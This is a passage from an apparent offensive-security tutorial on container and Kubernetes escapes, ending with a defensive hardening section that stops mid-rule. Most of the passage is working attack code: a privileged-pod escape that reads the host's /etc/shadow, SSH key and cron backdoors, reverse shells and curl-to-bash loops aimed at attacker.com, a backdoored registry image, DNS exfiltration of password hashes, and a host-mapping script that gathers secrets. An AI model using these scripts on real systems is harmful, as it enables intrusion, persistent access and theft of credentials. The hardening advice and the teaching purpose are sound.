"volumeMounts": [
{
"mountPath": "/host",
"name": "hostfs"
}
]
}
],
"volumes": [
{
"name": "hostfs",
"hostPath": {
"path": "/"
}
}
]
}
}
EOF
# Create the pod
curl -s -k -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
--data-binary @/tmp/privpod.json \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods
echo "[+] Waiting for pod to be ready..."
sleep 10
# Exec into the pod to prove escape
POD_READY=$(curl -s -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods/privesc-pod | \
grep -o '"ready":true')
if [ ! -z "$POD_READY" ]; then
echo "[+] Pod is ready, creating exec session"
# Create exec operation to read /etc/shadow
EXEC_URL=$(curl -s -k -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command":["cat", "/host/etc/shadow"],"stdin":false,"stdout":true,"stderr":true,"tty":false}' \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods/privesc-pod/exec)
echo "[+] Kubernetes pod escape successful"
echo "[+] To access the pod: kubectl -n $NAMESPACE exec -it privesc-pod -- bash"
echo "[+] Then explore the host filesystem at /host"
exit 0
else
echo "[-] Pod not ready, escape may have failed"
fi
fi
# Stage 4: hostPID exploitation (if available)
if mount | grep -q "proc on /proc"; then
echo "[+] We have hostPID, checking for processes"
# Look for interesting processes
echo "[+] Host processes accessible via /proc:"
ps aux
# Try to access host files through /proc
HOST_PID1_ROOT="/proc/1/root"
if [ -d "$HOST_PID1_ROOT" ]; then
echo "[+] Attempting to access host files through $HOST_PID1_ROOT"
ls -la $HOST_PID1_ROOT 2>/dev/null
cat $HOST_PID1_ROOT/etc/shadow 2>/dev/null
if [ $? -eq 0 ]; then
echo "[+] hostPID escape successful"
exit 0
fi
fi
fi
echo "[-] All escape methods failed"
exit 1Post-Escape Techniques
Once you've escaped a container, your work is just beginning. Let's explore how to maintain access, move laterally, and extract valuable information from the host environment.
Host Reconnaissance After Escape
After escaping a container, I immediately gather information about the host environment:
# Basic host information
hostname
uname -a
cat /etc/os-release
ip addr
ps aux
# Host users and services
cat /etc/passwd
ls -la /home/
find /home -name "*.ssh" -type d 2>/dev/null
systemctl list-units --type=service
# Container infrastructure
docker ps -a # If Docker is used
docker images
kubectl get pods -A # If Kubernetes is used
kubectl get nodes
Persistence Mechanisms
1. SSH Key Planting
One of the most reliable persistence methods is adding SSH keys:
# Find existing SSH directories
find / -name ".ssh" -type d 2>/dev/null
# Generate a new SSH key
ssh-keygen -t ed25519 -f /tmp/backdoor -N ""
# Add to authorized keys files
cat /tmp/backdoor.pub >> /root/.ssh/authorized_keys
# On developer machines, also add to user accounts
for user in $(ls /home/); do
if [ -d "/home/$user/.ssh" ]; then
cat /tmp/backdoor.pub >> /home/$user/.ssh/authorized_keys
echo "Added key to /home/$user/.ssh/authorized_keys"
fi
done
2. Cron Jobs
Creating cron jobs for persistence:
# Create reverse shell script
cat > /usr/local/bin/system_check.sh << 'EOF'
#!/bin/bash
# System monitoring tool
while true; do
/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' &
sleep 3600
done
EOF
chmod +x /usr/local/bin/system_check.sh
# Add to crontab
echo "*/10 * * * * root /usr/local/bin/system_check.sh >/dev/null 2>&1" > /etc/cron.d/system_check
chmod 644 /etc/cron.d/system_check
3. Compromising the Container Runtime
By modifying Docker or container runtime configurations, you can ensure persistence:
# Modify Docker daemon configuration to listen on TCP
cat > /etc/docker/daemon.json << 'EOF'
{
"hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"]
}
EOF
# Restart Docker to apply changes
systemctl restart docker
# Create a backdoored container image
cat > Dockerfile << 'EOF'
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y openssh-server
RUN mkdir /run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]
EOF
# Build and push to a registry
docker build -t legit-base-image:latest .
docker tag legit-base-image:latest registry.example.com/base-images/ubuntu:latest
docker push registry.example.com/base-images/ubuntu:latest
4. Kubernetes-Specific Persistence
In Kubernetes environments, we can achieve persistence through various resources:
# Create a privileged DaemonSet for persistence across all nodes
cat > persistence-ds.yaml << 'EOF'
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: security-agent
namespace: kube-system
spec:
selector:
matchLabels:
app: security-agent
template:
metadata:
labels:
app: security-agent
spec:
hostPID: true
hostIPC: true
hostNetwork: true
containers:
- name: agent
image: ubuntu:20.04
command: ["/bin/bash", "-c", "while true; do sleep 30; curl -s http://attacker.com/payload.sh | bash; done"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
EOF
# Apply the DaemonSet
kubectl apply -f persistence-ds.yaml
Lateral Movement Across Containers
After escaping a container, I often need to access other containers:
# Using docker command
docker exec -it <container_id> bash
# If Docker command not available but socket is
curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["bash"],"DetachKeys":"ctrl-p,ctrl-q"}' \
http://localhost/containers/<container_id>/exec
Network Pivoting Between Containers
# Scan container network
for ip in $(seq 1 254); do
ping -c 1 -W 1 172.17.0.$ip | grep "64 bytes" &
done
# Forward traffic between container networks (requires privileged container)
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8080 -j DNAT --to-destination 10.0.0.2:80
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward
Data Exfiltration Techniques
After escaping, I focus on extracting valuable data:
# Find interesting files
find /host -type f -name "*.key" -o -name "*.pem" -o -name "id_rsa" -o -name "*.conf" 2>/dev/null
# Look for secrets in configuration files
grep -r "password\|secret\|key\|token" /host/etc/ 2>/dev/null
grep -r "password\|secret\|key\|token" /host/opt/ 2>/dev/null
grep -r "password\|secret\|key\|token" /host/var/lib/docker/ 2>/dev/null
# Extract environment variables from running containers
for cid in $(docker ps -q); do
echo "Container: $cid"
docker inspect --format '{{range .Config.Env}}{{println .}}{{end}}' $cid
done
# Exfiltrate data via DNS (stealthy)
cat /host/etc/shadow | xxd -p | tr -d '\n' | fold -w 30 | while read exfil; do
host "$exfil.shadow.exfil.example.com"
done
Infrastructure Mapping Script
After establishing access, I run this script to map the entire container infrastructure:
#!/usr/bin/env python3
# container_infrastructure_mapper.py
import os
import json
import subprocess
import datetime
import socket
import ipaddress
import re
class InfrastructureMapper:
def __init__(self):
self.output_file = f"infra_map_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
self.infrastructure = {
"timestamp": datetime.datetime.now().isoformat(),
"hostname": socket.gethostname(),
"ip_addresses": self.get_ip_addresses(),
"container_runtime": self.detect_container_runtime(),
"orchestration": self.detect_orchestration(),
"containers": [],
"images": [],
"volumes": [],
"networks": [],
"hosts": [],
"services": [],
"sensitive_files": []
}
def get_ip_addresses(self):
"""Get all IP addresses of the host."""
ip_output = subprocess.getoutput("ip -j addr show")
try:
ip_json = json.loads(ip_output)
ip_addresses = []
for interface in ip_json:
interface_name = interface.get("ifname", "unknown")
for addr_info in interface.get("addr_info", []):
ip_addresses.append({
"interface": interface_name,
"address": addr_info.get("local", "unknown"),
"family": "ipv4" if addr_info.get("family", "") == "inet" else "ipv6"
})
return ip_addresses
except:
# Fallback if ip command doesn't support JSON output
ip_addresses = []
ip_output = subprocess.getoutput("hostname -I")
for ip in ip_output.split():
ip_addresses.append({
"interface": "unknown",
"address": ip,
"family": "ipv4" if "." in ip else "ipv6"
})
return ip_addresses
def detect_container_runtime(self):
"""Detect which container runtime is in use."""
runtime_info = {
"name": "unknown",
"version": "unknown",
"socket_path": None,
"config_paths": []
}
# Check for Docker
docker_version = subprocess.getoutput("docker version --format '{{.Server.Version}}'")
if "not found" not in docker_version.lower() and "error" not in docker_version.lower():
runtime_info["name"] = "docker"
runtime_info["version"] = docker_version
socket_paths = ["/var/run/docker.sock", "/run/docker.sock"]
for path in socket_paths:
if os.path.exists(path):
runtime_info["socket_path"] = path
break
config_paths = ["/etc/docker/daemon.json", "/etc/systemd/system/docker.service.d/"]
for path in config_paths:
if os.path.exists(path):
runtime_info["config_paths"].append(path)
# Check for containerd
containerd_version = subprocess.getoutput("containerd --version")
if "containerd" in containerd_version.lower():
runtime_info["name"] = "containerd"
runtime_info["version"] = containerd_version
socket_paths = ["/run/containerd/containerd.sock"]
for path in socket_paths:
if os.path.exists(path):
runtime_info["socket_path"] = path
break
config_paths = ["/etc/containerd/config.toml"]
for path in config_paths:
if os.path.exists(path):
runtime_info["config_paths"].append(path)
# Check for CRI-O
crio_version = subprocess.getoutput("crictl --version")
if "cri-o" in crio_version.lower():
runtime_info["name"] = "cri-o"
runtime_info["version"] = crio_version
socket_paths = ["/var/run/crio/crio.sock"]
for path in socket_paths:
if os.path.exists(path):
runtime_info["socket_path"] = path
break
config_paths = ["/etc/crio/crio.conf"]
for path in config_paths:
if os.path.exists(path):
runtime_info["config_paths"].append(path)
return runtime_info
def detect_orchestration(self):
"""Detect container orchestration platform."""
orchestration_info = {
"name": "unknown",
"version": "unknown",
"nodes": [],
"config_paths": []
}
# Check for Kubernetes
kubectl_version = subprocess.getoutput("kubectl version --short 2>/dev/null")
if "server version" in kubectl_version.lower():
orchestration_info["name"] = "kubernetes"
server_version_match = re.search(r"Server Version: ([v\d\.]+)", kubectl_version)
if server_version_match:
orchestration_info["version"] = server_version_match.group(1)
# Get nodes
nodes_output = subprocess.getoutput("kubectl get nodes -o json 2>/dev/null")
try:
nodes_json = json.loads(nodes_output)
for node in nodes_json.get("items", []):
node_info = {
"name": node.get("metadata", {}).get("name", "unknown"),
"roles": [],
"version": node.get("status", {}).get("nodeInfo", {}).get("kubeletVersion", "unknown"),
"internal_ip": "unknown"
}
# Get node roles
for label in node.get("metadata", {}).get("labels", {}):
if "node-role.kubernetes.io" in label:
role = label.split("/")[1]
node_info["roles"].append(role)
# Get internal IP
for address in node.get("status", {}).get("addresses", []):
if address.get("type") == "InternalIP":
node_info["internal_ip"] = address.get("address")
orchestration_info["nodes"].append(node_info)
except:
pass
config_paths = ["/etc/kubernetes/", "/var/lib/kubelet/config.yaml"]
for path in config_paths:
if os.path.exists(path):
orchestration_info["config_paths"].append(path)
# Check for Docker Swarm
swarm_info = subprocess.getoutput("docker info | grep -i swarm")
if "swarm: active" in swarm_info.lower():
orchestration_info["name"] = "docker_swarm"
# Get nodes
nodes_output = subprocess.getoutput("docker node ls --format '{{.Hostname}} {{.Status}} {{.ManagerStatus}}'")
for line in nodes_output.splitlines():
if not line.strip():
continue
parts = line.split()
if len(parts) >= 2:
hostname = parts[0]
status = parts[1]
manager_status = "worker"
if len(parts) > 2 and parts[2]:
manager_status = "manager"
orchestration_info["nodes"].append({
"name": hostname,
"roles": [manager_status],
"status": status,
"internal_ip": "unknown"
})
return orchestration_info
def map_containers(self):
"""Map all running containers."""
containers = []
# Try using Docker
if self.infrastructure["container_runtime"]["name"] == "docker":
containers_output = subprocess.getoutput("docker ps -a --format '{{json .}}'")
for line in containers_output.splitlines():
if not line.strip():
continue
try:
container_data = json.loads(line)
container_id = container_data.get("ID", "unknown")
# Get detailed info
inspect_output = subprocess.getoutput(f"docker inspect {container_id}")
try:
inspect_data = json.loads(inspect_output)
if inspect_data and isinstance(inspect_data, list):
inspect_data = inspect_data[0]
container_info = {
"id": container_id,
"name": container_data.get("Names", "unknown"),
"image": container_data.get("Image", "unknown"),
"created": inspect_data.get("Created", "unknown"),
"status": container_data.get("Status", "unknown"),
"ports": container_data.get("Ports", ""),
"command": container_data.get("Command", ""),
"privileged": inspect_data.get("HostConfig", {}).get("Privileged", False),
"network_mode": inspect_data.get("HostConfig", {}).get("NetworkMode", "unknown"),
"mounts": [],
"environment": [],
"capabilities": {
"added": inspect_data.get("HostConfig", {}).get("CapAdd", []),
"dropped": inspect_data.get("HostConfig", {}).get("CapDrop", [])
},
"networks": [],
"pid_mode": inspect_data.get("HostConfig", {}).get("PidMode", ""),
"ipc_mode": inspect_data.get("HostConfig", {}).get("IpcMode", "")
}
# Extract mounts
for mount in inspect_data.get("Mounts", []):
container_info["mounts"].append({
"source": mount.get("Source", "unknown"),
"destination": mount.get("Destination", "unknown"),
"mode": mount.get("Mode", "unknown"),
"rw": mount.get("RW", False),
"type": mount.get("Type", "unknown")
})
# Extract environment variables
for env in inspect_data.get("Config", {}).get("Env", []):
container_info["environment"].append(env)
# Extract networks
for network_name, network_config in inspect_data.get("NetworkSettings", {}).get("Networks", {}).items():
container_info["networks"].append({
"name": network_name,
"ip_address": network_config.get("IPAddress", "unknown"),
"gateway": network_config.get("Gateway", "unknown"),
"mac_address": network_config.get("MacAddress", "unknown")
})
containers.append(container_info)
except:
# If inspect fails, add basic info
containers.append({
"id": container_id,
"name": container_data.get("Names", "unknown"),
"image": container_data.get("Image", "unknown"),
"status": container_data.get("Status", "unknown")
})
except:
continue
# Try using crictl for Kubernetes environments
elif self.infrastructure["orchestration"]["name"] == "kubernetes":
containers_output = subprocess.getoutput("crictl ps -a")
container_lines = containers_output.splitlines()[1:] # Skip header
for line in container_lines:
parts = line.split()
if len(parts) >= 5:
container_id = parts[0]
image_id = parts[1]
created = parts[4]
status = parts[3]
pod_id = parts[5] if len(parts) > 5 else "unknown"
# Get detailed info
inspect_output = subprocess.getoutput(f"crictl inspect {container_id}")
try:
inspect_data = json.loads(inspect_output)
container_info = {
"id": container_id,
"image_id": image_id,
"created": created,
"status": status,
"pod_id": pod_id,
"name": inspect_data.get("status", {}).get("metadata", {}).get("name", "unknown"),
"mounts": [],
"environment": []
}
# Extract mounts
for mount in inspect_data.get("status", {}).get("mounts", []):
container_info["mounts"].append({
"host_path": mount.get("host_path", "unknown"),
"container_path": mount.get("container_path", "unknown"),
"readonly": mount.get("readonly", False)
})
# Extract environment variables
for env in inspect_data.get("info", {}).get("runtimeSpec", {}).get("process", {}).get("env", []):
container_info["environment"].append(env)
containers.append(container_info)
except:
# If inspect fails, add basic info
containers.append({
"id": container_id,
"image_id": image_id,
"created": created,
"status": status,
"pod_id": pod_id
})
self.infrastructure["containers"] = containers
def map_images(self):
"""Map all container images."""
images = []
# Try using Docker
if self.infrastructure["container_runtime"]["name"] == "docker":
images_output = subprocess.getoutput("docker images --format '{{json .}}'")
for line in images_output.splitlines():
if not line.strip():
continue
try:
image_data = json.loads(line)
image_info = {
"repository": image_data.get("Repository", "unknown"),
"tag": image_data.get("Tag", "unknown"),
"id": image_data.get("ID", "unknown"),
"created": image_data.get("CreatedAt", "unknown"),
"size": image_data.get("Size", "unknown")
}
images.append(image_info)
except:
continue
# Try using crictl for Kubernetes environments
elif self.infrastructure["orchestration"]["name"] == "kubernetes":
images_output = subprocess.getoutput("crictl images")
image_lines = images_output.splitlines()[1:] # Skip header
for line in image_lines:
parts = line.split()
if len(parts) >= 5:
repository = parts[0]
tag = parts[1]
id = parts[2]
created = parts[3] + " " + parts[4]
size = parts[5]
image_info = {
"repository": repository,
"tag": tag,
"id": id,
"created": created,
"size": size
}
images.append(image_info)
self.infrastructure["images"] = images
def map_networks(self):
"""Map all container networks."""
networks = []
# Try using Docker
if self.infrastructure["container_runtime"]["name"] == "docker":
networks_output = subprocess.getoutput("docker network ls --format '{{json .}}'")
for line in networks_output.splitlines():
if not line.strip():
continue
try:
network_data = json.loads(line)
network_id = network_data.get("ID", "unknown")
# Get detailed info
inspect_output = subprocess.getoutput(f"docker network inspect {network_id}")
try:
inspect_data = json.loads(inspect_output)
if inspect_data and isinstance(inspect_data, list):
inspect_data = inspect_data[0]
network_info = {
"id": network_id,
"name": network_data.get("Name", "unknown"),
"driver": network_data.get("Driver", "unknown"),
"scope": network_data.get("Scope", "unknown"),
"subnet": "",
"gateway": "",
"containers": []
}
# Extract subnet and gateway
if "IPAM" in inspect_data and "Config" in inspect_data["IPAM"]:
for config in inspect_data["IPAM"]["Config"]:
if "Subnet" in config:
network_info["subnet"] = config["Subnet"]
if "Gateway" in config:
network_info["gateway"] = config["Gateway"]
# Extract connected containers
if "Containers" in inspect_data:
for container_id, container_data in inspect_data["Containers"].items():
network_info["containers"].append({
"id": container_id,
"name": container_data.get("Name", "unknown"),
"mac_address": container_data.get("MacAddress", "unknown"),
"ipv4_address": container_data.get("IPv4Address", "unknown")
})
networks.append(network_info)
except:
# If inspect fails, add basic info
networks.append({
"id": network_id,
"name": network_data.get("Name", "unknown"),
"driver": network_data.get("Driver", "unknown"),
"scope": network_data.get("Scope", "unknown")
})
except:
continue
self.infrastructure["networks"] = networks
def map_volumes(self):
"""Map all container volumes."""
volumes = []
# Try using Docker
if self.infrastructure["container_runtime"]["name"] == "docker":
volumes_output = subprocess.getoutput("docker volume ls --format '{{json .}}'")
for line in volumes_output.splitlines():
if not line.strip():
continue
try:
volume_data = json.loads(line)
volume_name = volume_data.get("Name", "unknown")
# Get detailed info
inspect_output = subprocess.getoutput(f"docker volume inspect {volume_name}")
try:
inspect_data = json.loads(inspect_output)
if inspect_data and isinstance(inspect_data, list):
inspect_data = inspect_data[0]
volume_info = {
"name": volume_name,
"driver": volume_data.get("Driver", "unknown"),
"mountpoint": inspect_data.get("Mountpoint", "unknown"),
"created": inspect_data.get("CreatedAt", "unknown"),
"labels": inspect_data.get("Labels", {})
}
volumes.append(volume_info)
except:
# If inspect fails, add basic info
volumes.append({
"name": volume_name,
"driver": volume_data.get("Driver", "unknown")
})
except:
continue
self.infrastructure["volumes"] = volumes
def scan_for_sensitive_files(self):
"""Scan for sensitive files on the host."""
sensitive_files = []
# List of paths to check
paths_to_check = [
"/etc/",
"/root/",
"/home/",
"/var/lib/docker/",
"/var/lib/kubelet/",
"/var/lib/containerd/"
]
# Patterns to look for
patterns = [
"*.key",
"*.pem",
"id_rsa",
"*.password",
"*.token",
"credentials",
"*.conf",
"*.yaml",
"*.json"
]
# Build find command
for path in paths_to_check:
if not os.path.exists(path):
continue
pattern_args = []
for pattern in patterns:
pattern_args.append("-name")
pattern_args.append(f'"{pattern}"')
find_cmd = f"find {path} -type f \\( {' -o '.join(pattern_args)} \\) 2>/dev/null"
files_output = subprocess.getoutput(find_cmd)
for file_path in files_output.splitlines():
if not file_path.strip() or not os.path.exists(file_path):
continue
try:
stat_info = os.stat(file_path)
sensitive_files.append({
"path": file_path,
"size": stat_info.st_size,
"owner_uid": stat_info.st_uid,
"group_gid": stat_info.st_gid,
"permissions": oct(stat_info.st_mode)[-3:],
"last_modified": datetime.datetime.fromtimestamp(stat_info.st_mtime).isoformat()
})
except:
continue
self.infrastructure["sensitive_files"] = sensitive_files
def map_host_services(self):
"""Map services running on the host."""
services = []
# Try using systemctl
systemctl_output = subprocess.getoutput("systemctl list-units --type=service --all --no-pager")
service_lines = systemctl_output.splitlines()
# Skip header lines
start_index = 0
for i, line in enumerate(service_lines):
if "UNIT" in line and "LOAD" in line:
start_index = i + 1
break
# Parse service lines
for line in service_lines[start_index:]:
if "●" in line or "UNIT" in line or "LOAD" in line or line.strip() == "":
continue
parts = line.split()
if len(parts) >= 3:
service_name = parts[0]
load_status = parts[1]
active_status = parts[2]
# Get detailed info
service_info = {
"name": service_name,
"load_status": load_status,
"active_status": active_status,
"description": " ".join(parts[3:])
}
# Get additional details
status_output = subprocess.getoutput(f"systemctl status {service_name} --no-pager")
# Extract PID
pid_match = re.search(r"Main PID: (\d+)", status_output)
if pid_match:
service_info["pid"] = pid_match.group(1)
# Extract binary path
exec_match = re.search(r"ExecStart=(.*?)$", status_output, re.MULTILINE)
if exec_match:
service_info["exec_start"] = exec_match.group(1)
services.append(service_info)
self.infrastructure["services"] = services
def map_infrastructure(self):
"""Map the entire container infrastructure."""
print("[+] Starting infrastructure mapping")
print("[+] Mapping containers")
self.map_containers()
print("[+] Mapping images")
self.map_images()
print("[+] Mapping networks")
self.map_networks()
print("[+] Mapping volumes")
self.map_volumes()
print("[+] Scanning for sensitive files")
self.scan_for_sensitive_files()
print("[+] Mapping host services")
self.map_host_services()
# Save results
with open(self.output_file, "w") as f:
json.dump(self.infrastructure, f, indent=2)
print(f"[+] Infrastructure mapping complete. Results saved to {self.output_file}")
# Main execution
if __name__ == "__main__":
mapper = InfrastructureMapper()
mapper.map_infrastructure()
Container Backdoors
These backdoor techniques are particularly effective in containerized environments:
# Reverse shell script for container persistence
cat > /usr/local/bin/container_monitor.sh << 'EOF'
#!/bin/bash
# Container monitoring utility
while true; do
# Try to connect back every hour
/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' &
# If that fails, try alternative method
curl -s http://attacker.com/shell.sh | bash &
# Sleep and try again
sleep 3600
done
EOF
chmod +x /usr/local/bin/container_monitor.sh
# Add to image entrypoint
cat > /usr/local/bin/custom_entrypoint.sh << 'EOF'
#!/bin/bash
# Launch original entrypoint
/usr/local/bin/container_monitor.sh &
exec "$@"
EOF
chmod +x /usr/local/bin/custom_entrypoint.sh
Hands-On Challenge #9: Post-Escape Lab
Practice post-exploitation techniques in a containerized environment:
# Start a Docker host with multiple containers
docker run -d --name redis redis:latest
docker run -d --name mysql -e MYSQL_ROOT_PASSWORD=password mysql:5.7
docker run -d --name webapp -p 8080:80 nginx:latest
# Create a "compromised" container to practice with
docker run -it --name attacker --privileged ubuntu:20.04 bash
# From the attacker container, escape to the host
# Then practice:
# 1. Mapping all containers and their configurations
# 2. Accessing other container data
# 3. Establishing persistence
# 4. Extracting sensitive information
Defending Against Container Escapes
Understanding container escape techniques puts us in a unique position to build effective defenses. Let's explore how to secure containerized environments against these attacks.
Security Best Practices
1. Container Configuration Hardening
# Run containers with the least privileges needed
docker run --security-opt=no-new-privileges \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--read-only \
--tmpfs /tmp:rw,noexec \
-v data-volume:/data:ro \
nginx:latest
# Use user namespaces to remap root
# Add to /etc/docker/daemon.json:
{
"userns-remap": "default"
}
# Limit resources to prevent DoS
docker run --memory=512m \
--memory-swap=512m \
--cpus=0.5 \
--pids-limit=100 \
nginx:latest
2. Never Run Privileged Containers
The single most important rule in container security:
# Instead of --privileged, add only required capabilities
docker run --cap-add=SYS_ADMIN \
--cap-add=NET_ADMIN \
ubuntu:20.04
# If you must mount devices, mount specific ones
docker run --device=/dev/fuse:/dev/fuse \
ubuntu:20.04
3. Secure the Docker Socket
# Bind to Unix socket only (not TCP)
# Update /etc/docker/daemon.json
{
"hosts": ["unix:///var/run/docker.sock"]
}
# Set proper permissions
sudo chmod 660 /var/run/docker.sock
sudo chown root:docker /var/run/docker.sock
# Never mount the socket into containers
# Instead of:
docker run -v /var/run/docker.sock:/var/run/docker.sock ...
# Use a Docker socket proxy with TLS and ACLs
docker run -d --name socket-proxy \
-v /var/run/docker.sock:/var/run/docker.sock \
-p 127.0.0.1:2375:2375 \
tecnativa/docker-socket-proxy:latest
4. Use gVisor or Kata Containers for Enhanced Isolation
# Install gVisor (runsc)
curl -fsSL https://gvisor.dev/archive.key | sudo gpg --dearmor -o /usr/share/keyrings/gvisor-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/gvisor-archive-keyring.gpg] https://storage.googleapis.com/gvisor/releases release main" | sudo tee /etc/apt/sources.list.d/gvisor.list
sudo apt-get update && sudo apt-get install -y runsc
# Configure Docker to use gVisor
# Add to /etc/docker/daemon.json:
{
"runtimes": {
"runsc": {
"path": "/usr/bin/runsc",
"runtimeArgs": []
}
}
}
# Run container with gVisor
docker run --runtime=runsc nginx:latest
5. Implement and Enforce Security Policies
AppArmor profiles for Docker:
# Create an AppArmor profile
cat > /etc/apparmor.d/docker-nginx << 'EOF'
#include <tunables/global>
profile docker-nginx flags=(attach_disconnected, mediate_deleted) {
#include <abstractions/base>
#include <abstractions/nameservice>
network inet tcp,
network inet udp,
deny mount,
deny /proc/** rw,
deny /sys/** rw,
deny /root/** rw,
/var/run/nginx.pid w,
/usr/sbin/nginx ix,
/etc/nginx/** r,
/var/log/nginx/** w,
/var/lib/nginx/** rw,
/usr/share/nginx/** r,
/dev/urandom r,
/proc/sys/kernel/random/uuid r,
}
EOF
# Load the profile
sudo apparmor_parser -r -W /etc/apparmor.d/docker-nginx
# Run container with the profile
docker run --security-opt apparmor=docker-nginx nginx:latest
SELinux policies for containers:
# Enable SELinux in enforcing mode
setenforce 1
# Run container with SELinux options
docker run --security-opt label=type:container_t nginx:latest
# Allow specific volume mounts
docker run --security-opt label=type:container_t \
-v /path/to/data:/data:z \
nginx:latest
6. Seccomp Profiles
# Create a custom seccomp profile
cat > seccomp-nginx.json << 'EOF'
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{
"names": [
"accept",
"accept4",
"access",
"arch_prctl",
"bind",
"brk",
"capget",
"capset",
"chdir",
"chmod",
"chown",
"clock_getres",
"clock_gettime",
"clone",
"close",
"connect",
"epoll_create",
"epoll_create1",
"epoll_ctl",
"epoll_wait",
"execve",
"exit",
"exit_group",
"faccessat",
"fadvise64",
"fchdir",
"fchmod",
"fchown",
"fcntl",
"fdatasync",
"flock",
"fstat",
"fstatfs",
"fsync",
"ftruncate",
"futex",
"getcwd",
"getdents",
"getdents64",
"getegid",
"geteuid",
"getgid",
"getgroups",
"getpeername",
"getpid",
"getppid",
"getpriority",
"getrandom",
"getresgid",
"getresuid",
"getrlimit",
"getrusage",
"getsockname",
"getsockopt",
"gettid",
"gettimeofday",
"getuid",
"ioctl",
"kill",
"listen",
"lseek",
"lstat",
"madvise",
"memfd_create",
"mkdir",
"mmap",
"mprotect",
"mremap",
"munmap",
"nanosleep",
"newfstatat",
"open",
"openat",
"pipe",
"pipe2",
"poll",
"prctl",
"pread64",
"prlimit64",
"pwrite64",
"read",
"readlink",
"readlinkat",
"recvfrom",
"recvmsg",
"rename",
"rmdir",
"rt_sigaction",
"rt_sigprocmask",
"rt_sigreturn",
"rt_sigsuspend",
"sched_getaffinity",
"sched_getparam",
"sched_getscheduler",
"sched_yield",
"select",
"sendfile",
"sendmmsg",
"sendmsg",
"sendto",
"set_robust_list",
"set_tid_address",
"setgid",
"setgroups",
"setitimer",
"setpriority",
"setresgid",
"setresuid",
"setsockopt",
"setuid",
"shutdown",
"sigaltstack",
"socket",
"socketpair",
"stat",
"statfs",
"sysinfo",
"tgkill",
"time",
"times",
"truncate",
"uname",
"unlink",
"utimensat",
"wait4",
"waitid",
"write",
"writev"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
EOF
# Run container with custom seccomp profile
docker run --security-opt seccomp=seccomp-nginx.json nginx:latest
Kubernetes Security Hardening
1. Pod Security Standards (PSS)
# Example Kubernetes PSP (Pod Security Policy)
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
allowPrivilegeEscalation: false
requiredDropCapabilities:
- ALL
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
- 'persistentVolumeClaim'
hostNetwork: false
hostIPC: false
hostPID: false
runAsUser:
rule: 'MustRunAsNonRoot'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'MustRunAs'
ranges:
- min: 1
max: 65535
fsGroup:
rule: 'MustRunAs'
ranges:
- min: 1
max: 65535
readOnlyRootFilesystem: true
With newer Kubernetes versions, use Pod Security Admission (PSA):
# Namespace with PSA labels
apiVersion: v1
kind: Namespace
metadata:
name: secure-workloads
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
2. Network Policies
# Default deny-all policy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: production
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
# Allow specific traffic
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-allow
namespace: production
spec:
podSelector:
matchLabels:
app: api
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: database
ports:
- protocol: TCP
port: 5432
3. RBAC Hardening
# Restrictive Role example
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: production
name: pod-reader
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list"]
# Binding the role to a service account
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-pods
namespace: production
subjects:
- kind: ServiceAccount
name: monitoring-sa
namespace: production
roleRef:
kind: Role
name: pod-reader
apiGroup: rbac.authorization.k8s.io
4. Admission Controllers
# OPA/Gatekeeper policy example
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sPSPPrivilegedContainer
metadata:
name: no-privileged-containers
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
excludedNamespaces: ["kube-system"]
Runtime Security Monitoring
1. Run-time Container Security Monitoring with Falco
# Install Falco with Helm
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco
# Custom Falco rule for container escapes
- rule: Container Mount Sensitive Host Path
desc: Detect attempts to mount sensitive host paths
condition: >
container and
(container.image.repository != "falco" and
container.image.repository != "sysdig") and
mount and
(mount.source startswith "/proc" or
mount.source startswith "/var/run/docker.sock" or
mount.source startswith "/etc" or
mount.source startswith "/root" or
mount.source startswith "/var/lib/kubelet" or
mount.source startswith "/var/lib/docker")
output: >
